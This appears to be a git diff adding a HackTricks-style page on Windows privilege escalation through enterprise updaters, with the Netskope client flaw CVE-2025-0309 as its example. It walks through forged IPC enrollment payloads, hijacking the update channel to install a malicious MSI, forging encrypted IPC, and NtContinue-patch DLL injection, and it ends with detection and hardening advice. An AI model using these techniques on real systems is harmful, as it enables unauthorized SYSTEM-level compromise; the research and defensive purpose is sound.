|
| 1 | +# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs. |
| 6 | + |
| 7 | +Key ideas you can reuse against similar products: |
| 8 | +- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server. |
| 9 | +- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package. |
| 10 | +- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties. |
| 11 | +- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry. |
| 12 | +- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch. |
| 13 | + |
| 14 | +--- |
| 15 | +## 1) Forcing enrollment to an attacker server via localhost IPC |
| 16 | + |
| 17 | +Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON. |
| 18 | + |
| 19 | +Observed in Netskope: |
| 20 | +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) |
| 21 | +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN |
| 22 | + |
| 23 | +Exploit flow: |
| 24 | +1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required. |
| 25 | +2) Send the IPC message invoking the provisioning command with your JWT and tenant name: |
| 26 | + |
| 27 | +```json |
| 28 | +{ |
| 29 | + "148": { |
| 30 | + "idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>", |
| 31 | + "tenantName": "TestOrg" |
| 32 | + } |
| 33 | +} |
| 34 | +``` |
| 35 | + |
| 36 | +3) The service starts hitting your rogue server for enrollment/config, e.g.: |
| 37 | +- /v1/externalhost?service=enrollment |
| 38 | +- /config/user/getbrandingbyemail |
| 39 | + |
| 40 | +Notes: |
| 41 | +- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4). |
| 42 | + |
| 43 | +--- |
| 44 | +## 2) Hijacking the update channel to run code as SYSTEM |
| 45 | + |
| 46 | +Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence: |
| 47 | + |
| 48 | +1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.: |
| 49 | +```json |
| 50 | +{ |
| 51 | + "clientUpdate": { "updateIntervalInMin": 1 }, |
| 52 | + "check_msi_digest": false |
| 53 | +} |
| 54 | +``` |
| 55 | +2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store. |
| 56 | +3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version. |
| 57 | + |
| 58 | +Bypassing common checks seen in the wild: |
| 59 | +- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI. |
| 60 | +- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install. |
| 61 | +- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation. |
| 62 | + |
| 63 | +Result: the SYSTEM service installs your MSI from |
| 64 | +C:\ProgramData\Netskope\stAgent\data\*.msi |
| 65 | +executing arbitrary code as NT AUTHORITY\SYSTEM. |
| 66 | + |
| 67 | +--- |
| 68 | +## 3) Forging encrypted IPC requests (when present) |
| 69 | + |
| 70 | +From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user: |
| 71 | +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew |
| 72 | +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID |
| 73 | + |
| 74 | +Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material. |
| 75 | + |
| 76 | +--- |
| 77 | +## 4) Bypassing IPC caller allow‑lists (path/name checks) |
| 78 | + |
| 79 | +Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe). |
| 80 | + |
| 81 | +Two practical bypasses: |
| 82 | +- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it. |
| 83 | +- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules. |
| 84 | + |
| 85 | +--- |
| 86 | +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch |
| 87 | + |
| 88 | +Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes: |
| 89 | +- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME |
| 90 | +- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE |
| 91 | + |
| 92 | +A reliable user‑mode loader that respects these constraints: |
| 93 | +1) CreateProcess of a vendor binary with CREATE_SUSPENDED. |
| 94 | +2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP). |
| 95 | +3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back. |
| 96 | +4) ResumeThread to trigger your stub in‑process, loading your DLL. |
| 97 | + |
| 98 | +Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied. |
| 99 | + |
| 100 | +--- |
| 101 | +## 6) Practical tooling |
| 102 | +- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. |
| 103 | +- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary. |
| 104 | + |
| 105 | +--- |
| 106 | +## 7) Detection opportunities (blue team) |
| 107 | +- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well. |
| 108 | +- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi. |
| 109 | +- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148. |
| 110 | +- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees. |
| 111 | + |
| 112 | +--- |
| 113 | +## Hardening tips for vendors |
| 114 | +- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode. |
| 115 | +- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks. |
| 116 | +- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels. |
| 117 | +- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config. |
| 118 | + |
| 119 | +## References |
| 120 | +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) |
| 121 | +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) |
| 122 | +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) |
| 123 | +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) |
| 124 | + |
| 125 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments